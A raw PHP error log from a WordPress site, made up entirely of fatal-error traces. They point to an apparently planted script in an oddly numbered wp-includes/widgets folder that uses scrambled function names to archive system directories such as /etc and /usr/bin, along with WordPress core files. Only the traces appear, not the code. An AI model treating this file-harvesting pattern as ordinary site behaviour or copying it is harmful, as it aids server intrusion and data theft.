#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:08:49 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/libexec/platform-python3.6" that is not in the base directory "/usr/bin" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:20:01 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/crypto-policies/DEFAULT/opensslcnf.txt" that is not in the base directory "/etc" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:26:49 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:36:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:37:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-widget-text.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:38:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-widget-meta.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:38:30 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/local/cpanel/etc/mail/spamassassin/KAM.cf" that is not in the base directory "/etc/mail" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:40:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/lib.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:40:59 UTC] PHP Fatal error:  Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): feof()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): tMiBR()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:43:17 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/opt/alt/php73/etc/php.d.all/imap.ini" that is not in the base directory "/opt/alt/php73/etc/php.d" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:45:40 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/opt/alt/php56/etc/php.d.all/imap.ini" that is not in the base directory "/opt/alt/php56/etc/php.d" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:46:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/pear.conf.conf.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:46:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/l10n.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:47:33 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/opt/alt/php84/etc/php.d.all/mysqli.ini" that is not in the base directory "/opt/alt/php84/etc/php.d" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:51:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:58:22 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 426807296 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/user.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/load.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/date.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/http.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/kses.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/l10n.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cron.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/feed.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/vars.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/meta.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Requests.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:32:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/html-api.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:33:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rest-api.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:33:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/sitemaps.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:34:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:34:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-user-query.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:34:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-comment.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:34:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-duotone.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:35:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comment-template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:35:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/category.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:35:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ms-blogs.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:35:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:35:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-comment-query.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:35:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-block-list.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:35:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/bookmark.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:35:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error-protection.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:36:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/functions.wp-styles.php.wp-styles.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:36:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/spl-autoload-compat.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:36:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:36:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-network.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:36:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-network-query.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:36:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-theme-json.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:36:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-term-query.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
